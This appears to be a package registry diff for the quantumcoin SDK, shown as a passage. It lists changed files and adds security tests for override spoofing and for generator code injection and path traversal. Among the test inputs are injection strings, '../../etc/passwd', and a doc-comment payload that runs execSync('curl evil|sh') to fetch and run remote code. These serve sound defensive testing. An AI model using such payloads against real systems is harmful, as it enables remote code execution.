quantumcoin 7.0.12 → 7.0.14
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README-SDK.md +828 -823
- package/README.md +4 -0
- package/config.d.ts +50 -50
- package/examples/example-generated-sdk-js/README.md +65 -0
- package/examples/example-generated-sdk-js/examples/_test-wallet.js +17 -0
- package/examples/example-generated-sdk-js/examples/deploy.js +41 -0
- package/examples/example-generated-sdk-js/examples/events.js +36 -0
- package/examples/example-generated-sdk-js/examples/read-operations.js +46 -0
- package/examples/example-generated-sdk-js/examples/write-operations.js +44 -0
- package/examples/example-generated-sdk-js/index.d.ts +1 -0
- package/examples/example-generated-sdk-js/index.js +15 -0
- package/examples/example-generated-sdk-js/package-lock.json +59 -0
- package/examples/example-generated-sdk-js/package.json +22 -0
- package/examples/example-generated-sdk-js/src/SimpleERC20.d.ts +19 -0
- package/examples/example-generated-sdk-js/src/SimpleERC20.js +353 -0
- package/examples/example-generated-sdk-js/src/SimpleERC20__factory.d.ts +10 -0
- package/examples/example-generated-sdk-js/src/SimpleERC20__factory.js +29 -0
- package/examples/example-generated-sdk-js/src/index.d.ts +4 -0
- package/examples/example-generated-sdk-js/src/index.js +5 -0
- package/examples/example-generated-sdk-js/src/quantumcoin-shims.d.ts +23 -0
- package/examples/example-generated-sdk-js/src/types.d.ts +3 -0
- package/examples/example-generated-sdk-js/src/types.js +3 -0
- package/examples/example-generated-sdk-js/test/e2e/SimpleERC20.e2e.test.js +78 -0
- package/examples/example-generated-sdk-ts/README.md +65 -0
- package/examples/example-generated-sdk-ts/examples/_test-wallet.js +17 -0
- package/examples/example-generated-sdk-ts/examples/deploy.js +41 -0
- package/examples/example-generated-sdk-ts/examples/events.js +36 -0
- package/examples/example-generated-sdk-ts/examples/read-operations.js +46 -0
- package/examples/example-generated-sdk-ts/examples/write-operations.js +44 -0
- package/examples/example-generated-sdk-ts/index.d.ts +1 -0
- package/examples/example-generated-sdk-ts/index.js +15 -0
- package/examples/example-generated-sdk-ts/package-lock.json +59 -0
- package/examples/example-generated-sdk-ts/package.json +23 -0
- package/examples/example-generated-sdk-ts/src/SimpleERC20.ts +334 -0
- package/examples/example-generated-sdk-ts/src/SimpleERC20__factory.ts +28 -0
- package/examples/example-generated-sdk-ts/src/index.ts +4 -0
- package/examples/example-generated-sdk-ts/src/quantumcoin-shims.d.ts +23 -0
- package/examples/example-generated-sdk-ts/src/types.ts +4 -0
- package/examples/example-generated-sdk-ts/test/e2e/SimpleERC20.e2e.test.js +78 -0
- package/examples/example-generated-sdk-ts/tsconfig.json +14 -0
- package/examples/node_modules/.package-lock.json +5 -5
- package/examples/node_modules/quantum-coin-js-sdk/README.md +5 -5
- package/examples/node_modules/quantum-coin-js-sdk/example/package-lock.json +1 -1
- package/examples/node_modules/quantum-coin-js-sdk/index.d.ts +1031 -1031
- package/examples/node_modules/quantum-coin-js-sdk/index.js +15 -15
- package/examples/node_modules/quantum-coin-js-sdk/package.json +1 -1
- package/examples/node_modules/quantum-coin-js-sdk/wasmBase64.js +2 -2
- package/examples/package-lock.json +6 -6
- package/examples/package.json +1 -1
- package/examples/sdk-generator-erc20.inline.json +251 -251
- package/generate-sdk.js +1845 -1822
- package/package.json +2 -2
- package/src/abi/fragments.d.ts +42 -42
- package/src/abi/index.d.ts +13 -13
- package/src/abi/interface.js +11 -2
- package/src/abi/js-abi-coder.js +61 -2
- package/src/contract/contract.js +53 -5
- package/src/contract/index.d.ts +9 -9
- package/src/errors/index.d.ts +92 -92
- package/src/generator/index.d.ts +11 -4
- package/src/generator/index.js +185 -18
- package/src/internal/hex.d.ts +68 -61
- package/src/internal/hex.js +36 -0
- package/src/providers/json-rpc-provider.d.ts +12 -12
- package/src/providers/provider.js +141 -8
- package/src/utils/address.d.ts +58 -58
- package/src/utils/encoding.d.ts +120 -120
- package/src/utils/hashing.js +298 -298
- package/src/utils/index.d.ts +63 -63
- package/src/utils/index.js +14 -14
- package/src/utils/result.d.ts +57 -57
- package/src/utils/rlp.d.ts +12 -12
- package/src/utils/rlp.js +13 -1
- package/src/utils/units.d.ts +29 -29
- package/src/wallet/index.d.ts +10 -10
- package/src/wallet/wallet.d.ts +192 -192
- package/src/wallet/wallet.js +713 -630
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/README.md +83 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/artifacts/AllSolidityTypes.abi.json +12544 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/artifacts/AllSolidityTypes.bin +1 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/examples/_test-wallet.js +17 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/examples/_test-wallet.ts +10 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/examples/deploy.js +41 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/examples/deploy.ts +41 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/examples/events.js +36 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/examples/events.ts +36 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/examples/offline-signing.js +82 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/examples/offline-signing.ts +80 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/examples/read-operations.js +46 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/examples/read-operations.ts +44 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/examples/write-operations.js +44 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/examples/write-operations.ts +44 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/index.d.ts +1 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/index.js +21 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/package-lock.json +597 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/package.json +25 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/src/AllSolidityTypes.d.ts +1280 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/src/AllSolidityTypes.js +14021 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/src/AllSolidityTypes__factory.d.ts +11 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/src/AllSolidityTypes__factory.js +31 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/src/index.d.ts +4 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/src/index.js +5 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/src/quantumcoin-shims.d.ts +25 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/src/types.d.ts +3 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/src/types.js +3 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/test/e2e/AllSolidityTypes.e2e.test.js +77 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/test/e2e/AllSolidityTypes.extra.test.js +195 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/README.md +83 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/artifacts/AllSolidityTypes.abi.json +12544 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/artifacts/AllSolidityTypes.bin +1 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/examples/_test-wallet.js +17 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/examples/_test-wallet.ts +10 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/examples/deploy.js +41 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/examples/deploy.ts +41 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/examples/events.js +36 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/examples/events.ts +36 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/examples/offline-signing.js +82 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/examples/offline-signing.ts +80 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/examples/read-operations.js +46 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/examples/read-operations.ts +44 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/examples/write-operations.js +44 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/examples/write-operations.ts +44 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/index.d.ts +1 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/index.js +21 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/package-lock.json +597 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/package.json +26 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/src/AllSolidityTypes.ts +13940 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/src/AllSolidityTypes__factory.ts +31 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/src/index.ts +4 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/src/quantumcoin-shims.d.ts +25 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/src/types.ts +4 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/test/e2e/AllSolidityTypes.e2e.test.js +77 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/test/e2e/AllSolidityTypes.extra.test.js +195 -0
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/tsconfig.json +18 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/README.md +74 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/artifacts/SimpleERC20.abi.json +245 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/artifacts/SimpleERC20.bin +1 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/examples/_test-wallet.js +17 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/examples/_test-wallet.ts +10 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/examples/deploy.js +41 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/examples/deploy.ts +41 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/examples/events.js +36 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/examples/events.ts +36 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/examples/offline-signing.js +82 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/examples/offline-signing.ts +80 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/examples/read-operations.js +46 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/examples/read-operations.ts +44 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/examples/write-operations.js +44 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/examples/write-operations.ts +44 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/index.d.ts +1 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/index.js +16 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/package-lock.json +597 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/package.json +25 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/src/SimpleERC20.d.ts +24 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/src/SimpleERC20.js +378 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/src/SimpleERC20__factory.d.ts +10 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/src/SimpleERC20__factory.js +31 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/src/index.d.ts +4 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/src/index.js +5 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/src/quantumcoin-shims.d.ts +25 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/src/types.d.ts +3 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/src/types.js +3 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/test/e2e/SimpleERC20.e2e.test.js +90 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/README.md +74 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/artifacts/SimpleERC20.abi.json +245 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/artifacts/SimpleERC20.bin +1 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/examples/_test-wallet.js +17 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/examples/_test-wallet.ts +10 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/examples/deploy.js +41 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/examples/deploy.ts +41 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/examples/events.js +36 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/examples/events.ts +36 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/examples/offline-signing.js +82 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/examples/offline-signing.ts +80 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/examples/read-operations.js +46 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/examples/read-operations.ts +44 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/examples/write-operations.js +44 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/examples/write-operations.ts +44 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/index.d.ts +1 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/index.js +16 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/package-lock.json +597 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/package.json +26 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/src/SimpleERC20.ts +361 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/src/SimpleERC20__factory.ts +30 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/src/index.ts +4 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/src/quantumcoin-shims.d.ts +25 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/src/types.ts +4 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/test/e2e/SimpleERC20.e2e.test.js +90 -0
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/tsconfig.json +18 -0
- package/test/e2e/generator-interface.e2e.test.js +165 -0
- package/test/e2e/generator-interface.e2e.test.ts +160 -0
- package/test/e2e/signing-context-and-fee.e2e.test.js +141 -141
- package/test/e2e/signing-context-and-fee.e2e.test.ts +128 -128
- package/test/integration/provider.test.js +88 -88
- package/test/security/abi-decoder-bounds.test.js +122 -0
- package/test/security/contract-overrides.test.js +112 -0
- package/test/security/generator-injection.test.js +195 -0
- package/test/security/malformed-input.test.js +26 -27
- package/test/security/rpc-numeric-bounds.test.js +81 -0
- package/test/security/rpc-trust.test.js +202 -0
- package/test/unit/abi-interface.test.js +12 -5
- package/test/unit/abi-interface.test.ts +8 -1
- package/test/unit/address-wallet.test.js +923 -892
- package/test/unit/address-wallet.test.ts +877 -877
- package/test/unit/encoding-units-rlp.test.js +35 -0
- package/test/unit/generator.test.js +48 -1
- package/test/unit/generator.test.ts +48 -1
- package/test/unit/hashing.test.js +64 -64
- package/test/unit/hashing.test.ts +63 -63
- package/test/unit/internal-hex.test.js +32 -1
- package/test/unit/internal-hex.test.ts +32 -1
- package/test/unit/populate-transaction.test.js +33 -0
- package/test/unit/providers.test.js +51 -1
- package/test/unit/providers.test.ts +53 -0
|
@@ -0,0 +1,112 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* @testCategory security
|
|
3
|
+
* @blockchainRequired false
|
|
4
|
+
* @transactional false
|
|
5
|
+
* @description Contract override spoofing. A caller-supplied `overrides`
|
|
6
|
+
* object must never be able to redirect a contract call to a
|
|
7
|
+
* different address (`to`) or replace the encoded calldata (`data`).
|
|
8
|
+
* Allow-listed fields (value, gasLimit, ...) must still apply.
|
|
9
|
+
*/
|
|
10
|
+
|
|
11
|
+
const { describe, it } = require("node:test");
|
|
12
|
+
const assert = require("node:assert/strict");
|
|
13
|
+
const fs = require("node:fs");
|
|
14
|
+
const os = require("node:os");
|
|
15
|
+
const path = require("node:path");
|
|
16
|
+
|
|
17
|
+
const { Initialize } = require("../../config");
|
|
18
|
+
const qc = require("../../index");
|
|
19
|
+
const { generateFromArtifacts } = require("../../src/generator");
|
|
20
|
+
const { logSuite, logTest } = require("../verbose-logger");
|
|
21
|
+
|
|
22
|
+
const ABI = [
|
|
23
|
+
{
|
|
24
|
+
type: "function",
|
|
25
|
+
name: "transfer",
|
|
26
|
+
stateMutability: "nonpayable",
|
|
27
|
+
inputs: [
|
|
28
|
+
{ name: "to", type: "address" },
|
|
29
|
+
{ name: "amount", type: "uint256" },
|
|
30
|
+
],
|
|
31
|
+
outputs: [{ name: "", type: "bool" }],
|
|
32
|
+
},
|
|
33
|
+
];
|
|
34
|
+
|
|
35
|
+
function _mockSigner() {
|
|
36
|
+
const captured = [];
|
|
37
|
+
return {
|
|
38
|
+
captured,
|
|
39
|
+
signTransaction: async () => "0x",
|
|
40
|
+
sendTransaction: async (tx) => {
|
|
41
|
+
captured.push(tx);
|
|
42
|
+
return { hash: "0x" + "22".repeat(32) };
|
|
43
|
+
},
|
|
44
|
+
};
|
|
45
|
+
}
|
|
46
|
+
|
|
47
|
+
describe("Security: contract override spoofing", () => {
|
|
48
|
+
logSuite("Security: contract override spoofing");
|
|
49
|
+
|
|
50
|
+
it("send() ignores overrides.to/data/from but applies value/gasLimit (negative + positive)", async () => {
|
|
51
|
+
logTest("send() ignores overrides.to/data/from but applies value/gasLimit", {});
|
|
52
|
+
await Initialize(null);
|
|
53
|
+
|
|
54
|
+
const contractAddr = qc.Wallet.createRandom().address;
|
|
55
|
+
const recipient = qc.Wallet.createRandom().address;
|
|
56
|
+
const evil = qc.Wallet.createRandom().address;
|
|
57
|
+
|
|
58
|
+
const signer = _mockSigner();
|
|
59
|
+
const c = new qc.Contract(contractAddr, ABI, signer);
|
|
60
|
+
|
|
61
|
+
await c.send("transfer", [recipient, 1n], {
|
|
62
|
+
to: evil, // must be ignored
|
|
63
|
+
data: "0xdeadbeef", // must be ignored
|
|
64
|
+
from: evil, // must be ignored
|
|
65
|
+
gasLimit: 99999, // must be applied
|
|
66
|
+
value: 5n, // must be applied
|
|
67
|
+
attackerKey: "x", // unknown key must be dropped
|
|
68
|
+
});
|
|
69
|
+
|
|
70
|
+
const tx = signer.captured[0];
|
|
71
|
+
assert.equal(tx.to, c.address, "to must be the contract address, not the attacker's");
|
|
72
|
+
assert.notEqual(tx.to, evil);
|
|
73
|
+
assert.notEqual(tx.data, "0xdeadbeef", "data must be the encoded call, not attacker data");
|
|
74
|
+
assert.ok(typeof tx.data === "string" && tx.data.startsWith("0x"));
|
|
75
|
+
assert.equal(tx.from, undefined, "from must not be injectable via overrides");
|
|
76
|
+
assert.equal(tx.gasLimit, 99999, "allow-listed gasLimit must apply");
|
|
77
|
+
assert.equal(tx.value, 5n, "allow-listed value must apply");
|
|
78
|
+
assert.ok(!("attackerKey" in tx), "unknown override keys must be dropped");
|
|
79
|
+
});
|
|
80
|
+
|
|
81
|
+
it("populateTransaction.<fn> protects to/data while keeping allow-listed fields", async () => {
|
|
82
|
+
logTest("populateTransaction.<fn> protects to/data while keeping allow-listed fields", {});
|
|
83
|
+
await Initialize(null);
|
|
84
|
+
const contractAddr = qc.Wallet.createRandom().address;
|
|
85
|
+
const recipient = qc.Wallet.createRandom().address;
|
|
86
|
+
const evil = qc.Wallet.createRandom().address;
|
|
87
|
+
const c = new qc.Contract(contractAddr, ABI);
|
|
88
|
+
|
|
89
|
+
const tx = await c.populateTransaction.transfer(recipient, 1n, { to: evil, data: "0xbad", gasLimit: 7 });
|
|
90
|
+
assert.equal(tx.to, c.address);
|
|
91
|
+
assert.notEqual(tx.data, "0xbad");
|
|
92
|
+
assert.equal(tx.gasLimit, 7);
|
|
93
|
+
});
|
|
94
|
+
|
|
95
|
+
it("generated factory/contract templates filter overrides (source-level assertion)", () => {
|
|
96
|
+
logTest("generated factory/contract templates filter overrides", {});
|
|
97
|
+
const tmp = fs.mkdtempSync(path.join(os.tmpdir(), "qcgen-ov-"));
|
|
98
|
+
const outDir = path.join(tmp, "out");
|
|
99
|
+
const abi = [
|
|
100
|
+
{ type: "constructor", stateMutability: "nonpayable", inputs: [] },
|
|
101
|
+
...ABI,
|
|
102
|
+
];
|
|
103
|
+
const res = generateFromArtifacts({ outDir, lang: "ts", artifacts: [{ contractName: "Tok", abi, bytecode: "0x6000" }] });
|
|
104
|
+
const factorySrc = fs.readFileSync(res.contracts[0].factoryFile, "utf8");
|
|
105
|
+
const contractSrc = fs.readFileSync(res.contracts[0].contractFile, "utf8");
|
|
106
|
+
// The unsafe spread of raw overrides must be gone.
|
|
107
|
+
assert.ok(!factorySrc.includes("...(overrides || {})"), "factory must not spread raw overrides");
|
|
108
|
+
assert.ok(!contractSrc.includes("...(overrides || {})"), "contract must not spread raw overrides");
|
|
109
|
+
assert.ok(factorySrc.includes("safeOverrides"), "factory must use the override allow-list");
|
|
110
|
+
assert.ok(contractSrc.includes("safeOverrides"), "contract must use the override allow-list");
|
|
111
|
+
});
|
|
112
|
+
});
|
|
@@ -0,0 +1,195 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* @testCategory security
|
|
3
|
+
* @blockchainRequired false
|
|
4
|
+
* @transactional false
|
|
5
|
+
* @description Code-injection and path-traversal protections in the SDK
|
|
6
|
+
* generator. Attacker-controlled contract/function names (and tuple
|
|
7
|
+
* names derived from internalType) must never break out of the
|
|
8
|
+
* generated source or escape the output directory.
|
|
9
|
+
*/
|
|
10
|
+
|
|
11
|
+
const { describe, it } = require("node:test");
|
|
12
|
+
const assert = require("node:assert/strict");
|
|
13
|
+
const fs = require("node:fs");
|
|
14
|
+
const os = require("node:os");
|
|
15
|
+
const path = require("node:path");
|
|
16
|
+
|
|
17
|
+
const {
|
|
18
|
+
generate,
|
|
19
|
+
generateFromArtifacts,
|
|
20
|
+
generateTransactionalTestJs,
|
|
21
|
+
assertSafeIdentifier,
|
|
22
|
+
} = require("../../src/generator");
|
|
23
|
+
const { logSuite, logTest } = require("../verbose-logger");
|
|
24
|
+
|
|
25
|
+
function _tmpOut() {
|
|
26
|
+
const tmp = fs.mkdtempSync(path.join(os.tmpdir(), "qcgen-inj-"));
|
|
27
|
+
return path.join(tmp, "out");
|
|
28
|
+
}
|
|
29
|
+
|
|
30
|
+
describe("Security: generator code-injection & path-traversal", () => {
|
|
31
|
+
logSuite("Security: generator code-injection & path-traversal");
|
|
32
|
+
|
|
33
|
+
it("assertSafeIdentifier rejects breakout strings and reserved words", () => {
|
|
34
|
+
logTest("assertSafeIdentifier rejects breakout strings and reserved words", {});
|
|
35
|
+
assert.throws(() => assertSafeIdentifier('Evil"; console.log(1); //', "contract name"));
|
|
36
|
+
assert.throws(() => assertSafeIdentifier("../../etc/passwd", "contract name"));
|
|
37
|
+
assert.throws(() => assertSafeIdentifier("with-dash", "contract name"));
|
|
38
|
+
assert.throws(() => assertSafeIdentifier("__proto__", "contract name"));
|
|
39
|
+
assert.throws(() => assertSafeIdentifier("class", "contract name"));
|
|
40
|
+
assert.throws(() => assertSafeIdentifier("", "contract name"));
|
|
41
|
+
assert.throws(() => assertSafeIdentifier(123, "contract name"));
|
|
42
|
+
// Positive: valid identifiers are returned unchanged.
|
|
43
|
+
assert.equal(assertSafeIdentifier("TestToken", "contract name"), "TestToken");
|
|
44
|
+
assert.equal(assertSafeIdentifier("_balanceOf$2", "fn"), "_balanceOf$2");
|
|
45
|
+
});
|
|
46
|
+
|
|
47
|
+
it("rejects a malicious contractName (negative)", () => {
|
|
48
|
+
logTest("rejects a malicious contractName (negative)", {});
|
|
49
|
+
const abi = [{ type: "function", name: "ok", stateMutability: "view", inputs: [], outputs: [] }];
|
|
50
|
+
assert.throws(
|
|
51
|
+
() =>
|
|
52
|
+
generateFromArtifacts({
|
|
53
|
+
outDir: _tmpOut(),
|
|
54
|
+
lang: "ts",
|
|
55
|
+
artifacts: [{ contractName: 'Evil { static x = require("child_process"); } //', abi, bytecode: "0x00" }],
|
|
56
|
+
}),
|
|
57
|
+
/Unsafe contract name|reserved word/i,
|
|
58
|
+
);
|
|
59
|
+
});
|
|
60
|
+
|
|
61
|
+
it("rejects a path-traversal contractName (negative)", () => {
|
|
62
|
+
logTest("rejects a path-traversal contractName (negative)", {});
|
|
63
|
+
const abi = [{ type: "function", name: "ok", stateMutability: "view", inputs: [], outputs: [] }];
|
|
64
|
+
assert.throws(
|
|
65
|
+
() =>
|
|
66
|
+
generateFromArtifacts({
|
|
67
|
+
outDir: _tmpOut(),
|
|
68
|
+
lang: "ts",
|
|
69
|
+
artifacts: [{ contractName: "../../evil", abi, bytecode: "0x00" }],
|
|
70
|
+
}),
|
|
71
|
+
/Unsafe contract name/i,
|
|
72
|
+
);
|
|
73
|
+
});
|
|
74
|
+
|
|
75
|
+
it("rejects a malicious ABI function name (negative)", () => {
|
|
76
|
+
logTest("rejects a malicious ABI function name (negative)", {});
|
|
77
|
+
const abi = [
|
|
78
|
+
{ type: "function", name: 'foo(){}; const x = 1; bar', stateMutability: "view", inputs: [], outputs: [] },
|
|
79
|
+
];
|
|
80
|
+
assert.throws(
|
|
81
|
+
() =>
|
|
82
|
+
generateFromArtifacts({
|
|
83
|
+
outDir: _tmpOut(),
|
|
84
|
+
lang: "ts",
|
|
85
|
+
artifacts: [{ contractName: "Good", abi, bytecode: "0x00" }],
|
|
86
|
+
}),
|
|
87
|
+
/Unsafe ABI function name/i,
|
|
88
|
+
);
|
|
89
|
+
// Also covered by the transactional-test generator entry point.
|
|
90
|
+
assert.throws(
|
|
91
|
+
() => generateTransactionalTestJs({ contractName: "Good", abi, bytecode: "0x00" }),
|
|
92
|
+
/Unsafe ABI function name/i,
|
|
93
|
+
);
|
|
94
|
+
});
|
|
95
|
+
|
|
96
|
+
it("sanitizes malicious tuple names derived from internalType (negative-input, safe-output)", () => {
|
|
97
|
+
logTest("sanitizes malicious tuple names derived from internalType", {});
|
|
98
|
+
const outDir = _tmpOut();
|
|
99
|
+
const abi = [
|
|
100
|
+
{
|
|
101
|
+
type: "function",
|
|
102
|
+
name: "getStruct",
|
|
103
|
+
stateMutability: "view",
|
|
104
|
+
inputs: [],
|
|
105
|
+
outputs: [
|
|
106
|
+
{
|
|
107
|
+
name: "s",
|
|
108
|
+
type: "tuple",
|
|
109
|
+
internalType: 'struct Evil"]; const pwned = 1; //[',
|
|
110
|
+
components: [{ name: "a", type: "uint256" }],
|
|
111
|
+
},
|
|
112
|
+
],
|
|
113
|
+
},
|
|
114
|
+
];
|
|
115
|
+
const res = generateFromArtifacts({ outDir, lang: "ts", artifacts: [{ contractName: "Holder", abi, bytecode: "0x00" }] });
|
|
116
|
+
const contractSrc = fs.readFileSync(res.contracts[0].contractFile, "utf8");
|
|
117
|
+
// The tuple type name is derived from the attacker-controlled internalType.
|
|
118
|
+
// It MUST be emitted as a valid, sanitized TS identifier (the raw payload may
|
|
119
|
+
// only survive inside the escaped ABI JSON string literal, never as code).
|
|
120
|
+
const typeDecls = [...contractSrc.matchAll(/export type ([^\s=]+)\s*=/g)].map((m) => m[1]);
|
|
121
|
+
assert.ok(typeDecls.length >= 1, "a struct type should be generated");
|
|
122
|
+
for (const id of typeDecls) {
|
|
123
|
+
assert.match(id, /^[A-Za-z_$][A-Za-z0-9_$]*$/, `tuple type identifier must be sanitized: ${id}`);
|
|
124
|
+
}
|
|
125
|
+
});
|
|
126
|
+
|
|
127
|
+
it("neutralizes a NatSpec doc-comment breakout in contract & function docs (negative)", () => {
|
|
128
|
+
logTest("neutralizes a NatSpec doc-comment breakout", {});
|
|
129
|
+
const payload = `Legit text */ require('child_process').execSync('curl evil|sh'); /* keep`;
|
|
130
|
+
const abi = [{ type: "function", name: "transfer", stateMutability: "nonpayable", inputs: [], outputs: [] }];
|
|
131
|
+
const docs = { contract: payload, functions: { transfer: payload } };
|
|
132
|
+
|
|
133
|
+
for (const lang of ["ts", "js"]) {
|
|
134
|
+
const res = generateFromArtifacts({
|
|
135
|
+
outDir: _tmpOut(),
|
|
136
|
+
lang,
|
|
137
|
+
artifacts: [{ contractName: "Doc", abi, bytecode: "0x00", docs }],
|
|
138
|
+
});
|
|
139
|
+
const src = fs.readFileSync(res.contracts[0].contractFile, "utf8");
|
|
140
|
+
// The comment terminator must be neutralized so it cannot close the JSDoc
|
|
141
|
+
// block early; the payload may only survive as inert comment text.
|
|
142
|
+
assert.ok(!src.includes("*/ require"), `[${lang}] doc breakout must be neutralized`);
|
|
143
|
+
